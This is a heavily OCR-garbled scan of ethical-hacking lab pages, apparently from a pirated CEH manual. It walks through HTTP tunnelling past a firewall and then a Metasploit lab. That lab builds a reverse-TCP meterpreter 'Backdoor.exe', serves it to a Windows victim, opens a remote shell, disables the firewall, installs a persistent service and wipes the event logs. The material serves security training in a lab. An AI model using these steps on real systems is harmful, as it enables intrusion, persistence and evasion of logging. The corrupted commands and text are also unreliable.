The added outbound mie should block the cosmnection shown in

peroEokt Wi
L) dHd Mic

Rt SN T ] stratorFtp 1A.A. 810

FICi 1k Twineryg, FTT comeroee]
Mote: In the above-mentioned command 10.0.0.10 rafess to the TP address of
Wincows 8.1 the ftp cated. hake sure that yom issue the TP
address of Windowrs 5.1 in your lab emmironmeant:
51. Nowr, we shall performm tunneling psing HTTPert to establish a connection
with the FTP =ite located on Windews 8.1.

52 MNavigate to D:CEH-Tosls\CEHVS Medule 16 Evading IDS, Firewalls and
Hencypots HTTP  Tunneling ToslsHTTPert, and  doublechck
httpert3snfm.exe.

CEH Lab Mnis] Page 1454 Eghica] Hacking aml Counseinseanees ©hy EE-Demmell

rvead R

HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnOUgh aCRRRAMO-TeaM !

wE FrEE t0 FIY




YOuR SeCuiTy iS NOt En0OUgh
HaCkRhInO-TeaM ! Module 18 - BikHirg 105, [k sl Y¥nd Honeypots HaCkRhInO-TeaM !

53. Follow the installation steps to mst=ll HT T Port

Setup - HT TPort

Welcome to the HTTPort Setup
Wizard

FIGLRE 534 HT TPt Sehup weman!

54. Lannch HITPort (Hitpert3SHFM) from the Apps screen

L
| o
B
A
CE
e
i
e

FIGLEE 535 Wikws Sereer THI Afps. sozoen
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55. An Introduction wizard appears; chick Next frre times, ol you come to the
last wzard pane, and then click Clase.

Introduction ta HTTPart

Welcome to HTTPork !

Thiz 5 a briaf Introduction to what HTTFort 15.
SElapy sacurs

Ary quastions 7
About

Liza Pray and Next buttors to brove= al|l pages.,

FIGLURE 5.%: Intncchatd b HTTPriad s

56. The HITPort main window [HTTPort 3.5HFM) appears, a5 shoum m
the screenshot

o T TPort 2.5MFM | =1 O [

Syatmen | o :l Port magpping | Ahout | Aegeber

HTTP-prowy ko bypaca (Blank = direct or firesall)

Host mame or [P addrea; Porti

~ Proxy requirss suthsrtcabor

Lissrmamei Fammwnind ¢

we, opbans

- gty

Ls personal emote bost 2t (blank = uss public)

Host mama o TR addresss o Pasgwanrd

? | +—Triz button haips

FIGLRE 557: HT TR W Wk

57. O the Prexy tah, Enter the Host name oz IP address (10.0.0.11) of the
machine whese HT Thost is muning (Windows Server 2008).

Mote: The location of Windows Serves 2008 may vary in your lab envisonment
58, Enter the Port mumber 80.
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59. Under Mise. eptiens, Bypass mede, select Remete host from the doop-
diowmn hst.

60. Under Use persenal remete hest at (blank = use public), re-enter the IP
address of Windews Server 2008 (10.0.0.11) and post mamber 80,

G1. Enter the passoood magie in the Passwerd feld

A HTTPort 2.GHFM | =1 O [

mywhbem  Froo |==|-. magping | About | Mecebsr

HTTP prony ko bypesa (Blank = direct or firevall)
Host name o [P addreaa Porti
10.0.0LE 1 | |-.--:

Procy requirss suthscticsbion

Lissrmamei Fammwnind ¢

Irt el wwtneitd erverorumen
g AT
prwie] probested peuzy . opbonm
w0 proiks SorrgTany
ertplorers ho avem S
Tnbemet

Usa parzonal emote Rost 3t (blank = usa public)

t nama o T0 address Pasgword

0.1t

J *—This button heaips
FIGLIRE 53 HTTTex Proey aeftings waskw
. Select the Pert mapping b, and cick Add 1o create 3 WNew Mappins.

s HTTPort .5NFM | = | = (]
e e e T

Galact a3 mapping to ces skadisticn:
e

: WO Erats - Inachie
whiere pou ant, HT TP rSpmaien i
waell i u the e of

S Frrrmt apploatinan
W Bun = sarvar [port 1080]

Avanibuble im "Ramots Hoet" mads

Full SOCISS supoort [BTN

14 #—Thir butban Aelpe

FIGLRE 5.3%: HTT Port exvssteyr & Mo Mgy
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63. Right-click the Hew Mapping nods, and click Edit.

& HTTRort 35N [ = “m

Symtmen | Brecy t mapeing | About | Asginter

tatic TCPIF port meppingz {tunnel=)

[ Tools
demenstrated in
this lals are
availakle in
D:='CEH-
Teals'CEHvE
Module 16 Salect a mapping o =ee statisticsi
E"':*di"g “:E’ Mo stats - inachive

Firewalls amnd nfmx  nfm B e W K
Haneypats

Built-in S0OCKSS zamnmar

[# Run SOCKE sarvar (port 1080}
#vallabla in "Rermote Host" mode
[T Full 30CKS4 support [BIND)

€—This button helps

FICILTRE 5&t HT TPt Falitg o s s rregyoreyg

£ Ins this lind of 4. Bemame this as fip test (fon can enter the name of yone choice).
envirenment, the 65. Right-click the node below Leeal pert, then click Edit, and enter the port
federated search ke s 21.

webpart of
Misreseft Search 66. Right-click the node below Remete hest click Edit, and cename ir 2=

Server 2008 will 10.0.0.70.

reak work out-of- - - - 1 - 1 3
= s 6 .ﬁﬁiﬁemmmmm:mﬂmammdmﬂmt

we only support
nen-password Note: 10.0.0.10 specihed i Femote host node 15 the IP address of the
protected proxy. Windows 8.1 machine that is hosting the FIF site.
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] HTTPort 15NFM [ = =m

yutmrm | Broay :‘:u-:—|:::r.;;§|;:_=__| Amgisker

Static TCF IF port mappings (tunnal=)

g- ftp test - Add
- Locsl port
i 21
Remate o=t
10,
1003 EHHT

21

e

Select a mapping to see statistcos:

Mo =tats - nackive

afm =  nfm B e nia K
Built-In SOCKSS sarar

¥ Run SOCHE servar (port 1380)
fvallabla in "Remote Host™ maoda:
I Full SooKsd support [BIND]

£—Thi= Button =elps

FICILTRE Sl EIT TPt S TOPTP proxs ey

68, Svarch to the Prexy tab, and chick Start to begin the HTTP tonneling.

& HTTPort 3SNEM | = | O [N
System Port mepping | #bout | Register |

HTTR prosgy to bypass (blank = direct or firawa 1]

Host name or [P addre=s; Farti
[to.0.0 10 |=2

z Proay requiras authentication

Ussrmams Pasmwsrd

B T ke 5 disi tunnel L 3
isc. options=

Uesr-Agank: Bppaes moda:

IE 6.0 T | |Aemobs host
Usa personal remota host at (hlank = use public]
Host name or IF addre=zs Fort Fassword

|10.0.0 I.I. 2 3':' 2 TT"'—'

? | £ This button halps Start
p

FICUTRE 543 HTTPexs b soes hamwdiogy
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HITPort intercepts the fip request to the local host and manels throngh it
installed in the emote machne o 10.0.6.10.

ming fip 10.0.0.10 in

c rongh the local
host by issnng the command fip 127.0.0.1.

71 Lannch Command Prompt and

type fip 10.0.0.10. Press Enter. The fip
comnection wll be hlocked by

nithonnd fireeall mle.

1otasalt Wandows LU
Ko? 283 Micwrosoft

s pesAdminicbpatorfbp 18, 8.8, 18
(VR

72 Now lananch a new Command Prompt, trpe fip 127.0
hould be able to connect to the zite.

o 1o Jhidid |
paratiom. A1l rizktz resseosd.

Cratarzfp 427 @8.8.1
1 “B.B.1.
A Microoeft FIP Set

Ao
Icer (&7 .M. H

SCyepies B2
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73. Enter the credentials of any nser accomnt of Wi 1.
i ials of the Jasen acconnt Type the us

press Enter.

74 Eﬂtr:r the crec ls of any wser account of Windows
5 of the Jasen acconnt Type the nsermame (Jasen) and

't be vishle

Admisstratan Cammand Prampt - fa 127001

1 FE EERatd .

FICLTRE 546 Corstagy 5 Dhimscsary
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78 A directory memed Test will be created in the FTP folder on the Windews
8.1 (locaticn: CHFTP) wirtmal machine. as shown i the soreenchot

FIGLIRE 500 Mew (Emsoy crsal

79. Thms, you ace able to bypass HTTP proxies as well as firewalls, and theselby
access files bevond them

MNote: Un completion of lab, delete the created eutbeund mile, stop HitHest

and HTTPat and disable the firevall (vruch was emabled m the beginmng of the

lab} in the host mackine (1e Windows Server 2012, and stact the Werld Wide

Web Publishing Service on the Windows Server 2008 vermmal machone.

i wx Aty s P
LAl ANAlysls

Document all the TP addreszes, open ports and sanmne applications, and protocnols
vom discoressd dnnng the Iah.

O Yes M No
Plarform Supported
1 Classroom Bl iLabs
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Lab

- . - I RA A
gy & g U] s 11
il 5.';-‘-..'-."\',5}1 ana wvial

n with a Victim

LINNE

nt Connection wi
Metaghloit Framenork i a ool for develgbing and executing explot code aganit a
FemIOTE Farger machinme
Lab Scenario
Larpe companies are common tarpets for hackers and amackers of all seopes,
and 1t 15 not nocommon for these companies to actively monitor traffic to and
from thesr ennieal IT infrastmetnes. Trdging by the fnctionality of Trojans, we
can safely sneoise that they are desipned to open back doors on compronmizsed
computers, allowing remote attackers to monitor actvaty and seeal mnformation.
COnce installed insde 2 corporate netorodk, the Trojan's backdoor feamse also
allows attackers to nse the mmally comprontised computer as a sponpboard to
lannch fusther forays into the sest of the nfrastmeme, resulting in the possible
theft of 2 wealth of nformaticn which conld be far preater than any that exists
o0 2 snple machs
The basic principal of all malisions proprams is that they seqmire nzed support to
damape the inital compmer. That is why [rojan horses wy wo decerwe nsers by
displaving some other form of email Backdoor programs are msed 1o gain
nnanthorized access to systems, and backdoor softorare 15 nzed by hackers to
fAin 3cces: 1o Systems, 50 thar ther can zend the mabicioms softoace to that
partienlar system
Hackes: ‘attackers infect tampet enviro itz wath cnstomized Trojan hogses
(backdoors) to determmine exploitable holes in secnsty spstems As Secnnoty
Adowmistrator of yons crganizanon yonr job esponsibdities melnde protecring
the nerwork from [rojans and backdoors, Tropn attacks, the theft of winable
data/identities, privilege escalation, persistent backdoors, and =0 on.
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T3 | My
'-.-l"-.'}':ﬁ"u uves

Lab

The objective of this lab i to help stadents learn to detect Trojan and backdoor
artacks.

The ohjectrres of this lab mdnde:
*  Creating a server and testing the netwodk for attack
"  Amacking 3 netoock neing sample backdoor and monitor the system

To complete thiz Iab, you will need:
® A compoter mnming Window Server 2012
®  Eali Linne maning in Virtmal machine (Attacker machine]
* Windows 7 moning in wirmal machine (Victim machins)
* A web boowser with Intemnet access
®  Adnwnistrative privileges to mn tools

Lab Duration

Time: 70 Mirmtes

5

Overview of Trojans and Backdoors

A Trofan is 3 program that containg a malicions or harmil code inside apparently
harmless programmying or data so that it can obtan control of 2 computer or
syitem and canse damapge, snch as muning file allocation tzbles on ahaed dove.

Lab lasks

1. Before mnning this lab, lop moto Windews Server 2008 and mam OM
Windowrs Firevrall

T o - =
firewall =2 ;

FENTE

FIGETRE &.1: Tuming = Windirars Fioraal
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Turning on Windows Firewall ensnres that the computer is sectice.

Feep the window intact

oo will need to 5 this Firewall and lannch a meterprater

FIGLURE 6.2 Lawg m iz Kah Lassz

Trpe root in the Usemame text feld, and click Log In.
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8. Trpe teer in the Passwerd text feld and click Leg In.

opied it to Share folder, then lannch msfeonssle and skip to Step
25

10. Open the terminal console by mawipabine to Applications -
Aceessories - Terminal

Note: Yoo can instead ch :.:};E in the menn bar to limnch the command-
line terminal

Applecabona Mecas ':; Fal Pril Owc &, 12:00 &M

B i

il Ling Trovood
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11. Issne the command: serviee pestgresql step and service metasploit
stop to stop the services.

roatikali; =

| database carvar
Loil atof
T workar: warkar.
1 Stapp tasplodt web sarver: d
| Stappirg Matasplodt rpc sarver: prasec

1md

FIGURE &é: Launcung resbecsiocl e

12 TFE-E msfeensale and press Enter to lainach msfeonsole.

13. Trpe the commuand msfpaylead windewsmeterpreterireverse tep
LHOST=10.0.0.13 X > Desktop/Backdsor.exe n msfeonsole, and press
Enter.

Note: 10.0.0.13 is the TP address of Fali Linnx, which might differ in yons

FIGLURE &7 Creating BosERR

14. The ahore command creates 1 Windews exseutable file named
EH metasploit "Backdoer.exe,” which will be saved on the Kali Linux Deskop.
Fromaework, a fool
for doveloping and
expouting sxploit
code against a
remote target
machineg
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Sharing
Backdoor.exe file

FICLTRE ¢ ey the S

17. Change the mode of the share folder to 755 by typing the command

FIGLTR f; the file wmin T35

18. Change the ownership of that folder to www-data by typingr chewn -R
wwwedataswww-data varwww/share! and pressing Enter.

reotipialc =

WA T Wiy SRS

FICIURE & 11 oy the cmorships af the fokles
{—/Te change 19. Trpe Is 4a variwww! | grep share and peess Enter.
ewnership of
folder ints woene, roaticall =
use this command rt ral
chewn -R wane- dir fvar shara
h“ o= Ll -F VAr www shara
. 1 ~F w-Oate Cweww-dats Jy
hariwwwishare/ 415 -la Jvarfwew | an

£ wwn-lala wew-dala 4595 Feb
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Start the apache server: pe serviee apachel start in Terounal and
press Enter.

apache web
server use the
fellewing
eammaind:
epreot.msiddatal
expleits*
eartwnenanshare!
FIGURE 6.1% Startmg A reliarrver
. The apache web secver & now muoning; copy Backdoor.exe into the
share foldes.

pe cp rootDesktop/Backdoor.exe /variwwwishare! in the terminal

LY 1o e mli e

feaploe’

FIGLTRE &.14 © 3 Backdior.eze file woin dhane folder
o the msfoonsole teroninal to ceeate a handler

. Type use euploitimultihandler and press Enter to handle explois
lannched outside the framework

5z lwarning ) Ing@pure world writabla dir
IrBin in PATH, moda DADFT

Ulsang rresiis hearuller explorit
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Izsme the following commands in msfeonsole:
T}pﬁ- set paylead windews/meterpreterireverse tep and press
Enter.

| Type set LHOST 10.0.0.13 and press Enter.

Type shew options and press Enter to display all the options
gned to the pa

| = is&t

= WLNOTWE T

FIGLEE & 16 Sehop B reweese TCP

27. To start the handler, type expleit -j -z and press Enter.
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2B. Switch back to the Windeows Server 2008 wirmal machine Observe thar
the Firevall is tnened OM.

mmw Pre L W i freean

FIGLRE 6.18: Furwall Tumisd 0N in Wesdows Sever 2003
29 Launch Mozlla Firefox (or other web browser), and type
httpei10.0.0.13ishare! in the address field Then press Enter.
MNote: Here, 10.0.0.13 is the TP address of Kali Linux, which may differ

in your lab environment

30. Click Backdoor.exe to download the backdoor file

Index of /share

Name Last modified  Size Descriprion

¥ Paent Director,

FIGLURE £.1%: Dhrembrateg the Badeloon e Ble
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Jl. The Opening Backdoor.exe pop-up appear

Opemmg Backdoorexe

] If you didn't
have apachel
installed, nm apt-
get install
apached

ored 10 C:lWsers\Admin'Dewmloads.
Note: The download location might vary in yone lab environment

34. Mamigate to the download location (here, Crillsers\Admin'Dewnleads),
and double-chick Backdoor.exe.

If the Open File - Security Waming appears, click Run.
loze the Downloads window.

to the Kali Tinux machine The IMeterpreter sesmon has
stnlly opened, as shown in the sereenshor

rootifikall =

- (il Fidosis S MatE rprat ar s reve re
' Te interast

with the available o Current Ssttlng Regulred Des
SEsSien, You ean TRUMC

use Sessions -

=sessien_jid>

aplait targat:
Id  Hars

Wildcard Targat

el eaplalt > axploir

Explalt rurnirng as backgroand |ab.
Started revarss handler an 18.5.8.13:44499
1t auplaity 3 Starting the
Serding Ateds [ F31L04 Cutesd t
L[ rprater session 1 opansd | 180
L +B53E
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Tpe sessions =i and

FIGATRE &

Type sessiens i 1 ¢
the sesuon id ouml
in the screenshot

intarartinn
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FENTE

Launch remeate
shell
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40. Type execute -f eme.exe -¢ -H and press Enter. This czeates 2 channel
using which you can access the command shell of the metim machme.

4]1. Mote the Channel mumber (here, 1).

FIGERE & 24 Ersasmy fr

42, Type interact 1 and press Enter

vou to interact with the command shell of the wichim

rights rescrvac

nicracre g with 3 e

Eshiral Hacldng and Ce
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44. Trpe netsh firewall shew spmede and pres: Enter. This displays the
_H rasxs statns of the firewall on the veetim machine
Disable Windows
Firewall

45. Observe that all the firevall confipnations are enabled

ootk =

FIGLURE & 26 Testing e Frewall maals

46. Switch to Windews Server 2008 to ensure that the firegrall i tummed
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k to Kali Limmx Type netsh firewall set opmode
mede=DISABLE 2nd press Enter.

. If the firewall is 5o

49. Now switch bac! Windews Server 2008, Observe that the statns of
the frewall 15 d [mmed off) as shown in the screenshot:
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safully lannched metespreter shell and disabled the

frrewall on the tarpet

itch back to Kali Linme, type exit in the command-hne ternunal, and

shown i the

raDaramloada=rmish TLrewall s&T opmcde mode=0TSABLE

a el [SARLE

_H vasx 7
Create a
persistent
sonhection

root@kali: =

Search Terminal Help

tar =igetsystem
=ystem [via techmique 1].

NT BUTHOAITrSvSTEN
YRE FY 13 NI RLTHOAL TV SYSTEN

swchast |cia |
N BAUTHEAL TYS NE TROAK

BT Listing the pstmeass
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Migrate to the explorer.exe process. To do so, you oeed to note its
PID (process T,

56. Trpe migrate 1264 and press Enter.

s ID) for explorer exe may differ in your lab environment

igration conpleted successfully.

Jreber o=
FICIURE &33 Migratiny 0 4 Prsces

Toe run metsve -A and press Enter. Ohserve that the service is

AE .34 Installing mictin: s

&. metsve helps m manmning 3 persistent connection with the wictim
mac! (Le., even when the machine iz rebooted or has lost connectuon
th the machine without the

1 executable apain and agam.

: — . vou are the target nser and restart Windews Server 2008

Test the the connectic ki Linux to the mctim omachine.
persistent
sonhection

C Stoppeng services..

(CEH Lat M)
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. Switch back to the Kali Linnz virmal machme. erve that the
meterpreter connection 15 closed by the tarpet nser (h
R === B
roctikali =

FIGITRE &.38: Meterpmer S

1. Switch back to the Windows Server 2003 virmal machme and log into it.

itch to the Fal Linux vermal machine. Yoo oeed to exit the

meterpreter and msfeonsale s

cpreter shell; then type y and press Enter w

B Zaead # 64. You will be redirected to msfeonsole; press 142 1o exit msfeonsole.

Run metswe

x root@iall: =
serviee

Sl L |1 Tl"'lirI: 1d Ha I:

kground session 17 [y/N] |y
Unknown command : y.
nsf exploit! ) =
11+ |Stopped msfconsole
I=F

65 Open 2 pew c ine terminal, and lannch msfeonsole (type
msfeensele and pres: Enter).
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ced &Y awasion using dynanic
o Laarch AT o

FIGRE 639 Lawsching mufocesols
Tpe use exploitimultihandler and press Enter.
7. Type set payload windews/metsve_bind_tep and press Enter
68. Type set Ipert 31337 and press Enter.
T_v_.'l:uz set Thest 10.0.0.13 (TP A f Kali Linux) and press Enter.

70. Trpe set rhost 10.0.0.11 (IP Address of Windows Server 2008) and

press Enter.

MNote: The I[P Addresses of lhost and chost may differ in your lab

ENTIDoIment.

FICATRE £.40 Disrigy srasl/hindler exphoni
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71. Type expleit and press Enter. This opens 2 meterpreter connection, as
thown mn the screenshot:

root@kali: =

FOGLIREL £41: Wit sl dscaiabialy cvisiind
2. Thus, you have smecessflly created 3 meterpreter session without the
need of the victim moning any backdoor executable
. You may perform post explostation on the victim machine nsing vagons
meterpreter conumands.

74 The event viewer on the Windows machine mcords all events
pecformed on it. This can help a nser/administrator discover the events
pecformed by an attacker (here, you).

75. Switch back to Windews Server 2008. INavigate to Start 3 Contrel
Panel 3+ Administrative teols, and donble-click Event Viewer

76. Here is an example of Application lops.
T — 1

G

AT

e et

FICRURE 642 Viewsy the lags
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77. To clear all the wser astivity legs, switch to Kali Linnx, type slearev in
the meterpreter shell, and press Enter. Cleanng all logs leaves the mictim
with zern traces, so he/she won't be ahle to mew the activibes you
perfoomed on his ‘her machine.

roob@kati: =

FIGURE £ 43 Clexrug the kg

78. Switch back to the machine and refresh the Windows logs. Observe
that all the logs (Applieation, System, znd Seeurity) are cleared, 25 in
the screenshot

AI-IE |

7]

FICIURE 644 Lo sustenfully chemd

79. Switch to Kak Linux.
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80. Type shutdewn and press Enter to shot down the victim machine

root@kali: - i

DRLSrprater = claaray
iplng 424 records from Applicatlon.. .
[*] Wipirmg 1175 records from System. .
ping 594 recorgds from Security..

LBl = S0UT R0

erver 2008 on WIN-TA7H0NMEATS - Virual Machine Conrection

The virtual machine "Windows Server 2008° is tumed off

To siar fie virlual machins, sefecs Stam’ Trom the Acion manu

Amalyze and docnment the resales selated to this lab exemize. Promde yoor oprmon
of your tacpet’s secnaity posmre and exposare theonph poblic and fres informenon.

O Yes
Platform Supported
& Classroom

CEH Lab Mnis] Page 1473 Eshical Hacking sl ( uu.trnn.ra.lml.-.-l = :-;. EC-Csmmell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




	2015-11-18 11_34_01
	2015-11-18 11_34_02
	2015-11-18 11_34_03
	2015-11-18 11_34_04
	2015-11-18 11_34_05
	2015-11-18 11_34_06
	2015-11-18 11_34_07
	2015-11-18 11_34_08
	2015-11-18 11_34_09
	2015-11-18 11_34_10
	2015-11-18 11_34_11
	2015-11-18 11_34_12
	2015-11-18 11_34_13
	2015-11-18 11_34_14
	2015-11-18 11_34_15
	2015-11-18 11_34_16
	2015-11-18 11_34_17
	2015-11-18 11_34_18
	2015-11-18 11_34_19
	2015-11-18 11_34_20
	2015-11-18 11_34_21
	2015-11-18 11_34_22
	2015-11-18 11_34_23
	2015-11-18 11_34_24
	2015-11-18 11_34_25
	2015-11-18 11_34_26
	2015-11-18 11_34_27
	2015-11-18 11_34_28
	2015-11-18 11_34_29
	2015-11-18 11_34_30
	2015-11-18 11_34_31
	2015-11-18 11_34_32
	2015-11-18 11_34_33
	2015-11-18 11_34_34
	2015-11-18 11_34_35
	2015-11-18 11_34_36
	2015-11-18 11_34_37
	2015-11-18 11_34_38
	2015-11-18 11_34_39
	2015-11-18 11_34_40
	2015-11-18 11_34_41
	2015-11-18 11_34_42
	2015-11-18 11_34_43
	2015-11-18 11_34_44
	2015-11-18 11_34_45
	2015-11-18 11_34_46
	2015-11-18 11_34_47
	2015-11-18 11_34_48
	2015-11-18 11_34_50
	2015-11-18 11_34_51
	2015-11-18 11_34_52
	2015-11-18 11_34_53
	2015-11-18 11_34_54
	2015-11-18 11_34_55
	2015-11-18 11_34_56
	2015-11-18 11_34_57
	2015-11-18 11_34_58
	2015-11-18 11_34_59
	2015-11-18 11_35_00
	2015-11-18 11_35_01
	2015-11-18 11_35_02
	2015-11-18 11_35_03
	2015-11-18 11_35_04
	2015-11-18 11_35_05
	2015-11-18 11_35_06
	2015-11-18 11_35_07
	2015-11-18 11_35_08
	2015-11-18 11_35_09
	2015-11-18 11_35_10
	2015-11-18 11_35_11
	2015-11-18 11_35_12
	2015-11-18 11_35_13
	2015-11-18 11_35_14
	2015-11-18 11_35_15
	2015-11-18 11_35_16
	2015-11-18 11_35_17
	2015-11-18 11_35_18
	2015-11-18 11_35_19
	2015-11-18 11_35_20
	2015-11-18 11_35_21
	2015-11-18 11_35_22
	2015-11-18 11_35_23
	2015-11-18 11_35_24
	2015-11-18 11_35_25
	2015-11-18 11_35_26
	2015-11-18 11_35_27
	2015-11-18 11_35_28
	2015-11-18 11_35_29
	2015-11-18 11_35_30
	2015-11-18 11_35_32
	2015-11-18 11_35_33
	2015-11-18 11_35_34

